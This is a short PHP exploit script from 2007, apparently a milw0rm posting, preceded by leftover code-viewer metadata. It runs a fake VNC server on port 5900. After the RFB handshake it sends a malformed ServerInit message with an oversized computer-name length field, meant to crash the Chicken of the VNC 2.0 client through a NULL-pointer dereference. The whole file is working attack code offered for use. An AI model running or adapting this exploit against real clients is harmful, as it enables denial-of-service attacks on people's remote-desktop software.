52 lines
No EOL
1.5 KiB
PHP
52 lines
No EOL
1.5 KiB
PHP
<?
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$port = "5900";
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$BadServerInit=
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"\x04\x00". // fb-width
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"\x03\x00". // fb-hight
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"\x20". // bits per pixel
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"\x18". // depth
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"\x00". // big-endian flag
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"\x01". // true-color flag
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"\x00\xff\x00\xff\x00\xff". // r-g-b max
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"\x10\x08\x00". // r-g-b shift
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"\x00\x00\x00". // padding
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"\xff\xff\xff\xff". // computer-name size
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"DIE_PLZ"; // computer-name
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$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
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socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
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socket_bind($ser,"0.0.0.0", $port);
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socket_listen($ser, 5);
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print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference 02-02-2007 poplix [@] papuasia.org listening on $port ...\n";
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$cotv = socket_accept($ser);
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print "client connected\n";
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socket_write($cotv, "RFB 00 3.008\n");
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while($i=socket_read($cotv, 1024))
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if(substr($i,0,6) == "RFB 00") break;
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print "protocol has been negotiated\n";
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socket_write($cotv, "\x00\x00\x00\x01");
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while($i=socket_read($cotv, 1024))
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if(ord($i[0])==0 || ord($i[0])==1)break;
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print "sending expl...\n";
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socket_write($cotv, $BadServerInit);
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socket_close($cotv);
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socket_close($ser);
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print "done\n";
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?>
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# milw0rm.com [2007-02-02]
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